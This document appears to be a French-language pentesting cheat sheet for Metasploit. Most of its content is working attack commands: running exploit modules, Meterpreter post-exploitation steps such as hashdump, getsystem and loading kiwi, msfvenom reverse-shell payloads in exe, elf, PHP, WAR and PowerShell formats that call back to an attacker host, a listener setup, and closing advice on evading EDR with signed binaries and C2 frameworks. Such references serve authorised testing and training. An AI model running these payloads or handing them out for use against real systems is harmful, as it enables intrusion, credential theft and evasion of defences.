---
title: Metasploit
description: "Rechercher, configurer et lancer des modules, gérer les sessions et générer des payloads avec msfvenom."
category: exploit
kind: tool
tags: [framework, meterpreter, payloads, handler, msfvenom]
level: intermediate
updated: 2026-11-02
order: 1
aliases: ["msfconsole", "msfvenom"]
---

## Démarrer et chercher

```bash
msfconsole -q

# Base de données locale
msfdb init
msfconsole -q -x "db_status; exit"
```

```text
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2021-44228
msf6 > use exploit/linux/http/apache_normalize_path_rce
msf6 > info
msf6 > show options
msf6 > show targets
```

## Configurer et lancer

```text
msf6 > set RHOSTS 10.10.10.10
msf6 > set RPORT 443
msf6 > set LHOST 10.10.10.20
msf6 > set LPORT 4444
msf6 > set TARGETURI /
msf6 > check
msf6 > run
```

```text
# Sessions
msf6 > sessions -l
msf6 > sessions -i 1
msf6 > sessions -k 1
meterpreter > background
```

## Meterpreter

```text
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getsystem
meterpreter > hashdump
meterpreter > migrate 1234
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.0
meterpreter > shell
meterpreter > download C:\\Windows\\win.ini
meterpreter > load kiwi
```

## Handler et payloads

```bash
# Reverse shell Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.20 LPORT=4444 -f exe -o shell.exe

# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.20 LPORT=4444 -f elf -o shell.elf

# Web : PHP, JSP, WAR
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.20 LPORT=4444 -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.20 LPORT=4444 -f war -o shell.war

# Base64 pour injection
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.20 LPORT=4444 \
  -f psh-reflection -o shell.ps1
```

```text
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.20
msf6 > set LPORT 4444
msf6 > set ExitOnSession false
msf6 > run -j
```

## Workflow et ressources

```bash
# Importer un scan nmap
msf6 > db_import scan.xml
msf6 > hosts
msf6 > services
msf6 > vulns

# Script de démarrage
cat > start.rc <<'EOF'
workspace -a mission
db_import /tmp/scan.xml
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.20
set LPORT 4444
set ExitOnSession false
run -j
EOF
msfconsole -r start.rc
```

> [!TIP]
> `searchsploit` trouve l'exploit, Metasploit l'exécute. Mais un module `check` qui renvoie « vulnerable » ne garantit rien : vérifie la version et le contexte avant de lancer une exploitation destructrice.

> [!WARNING]
> Les payloads Metasploit sont détectés par la plupart des EDR. En environnement réel, préfère des binaires signés, du living-off-the-land ou des C2 modernes (Sliver, Havoc). Ne laisse jamais un handler écouter sur une IP publique.
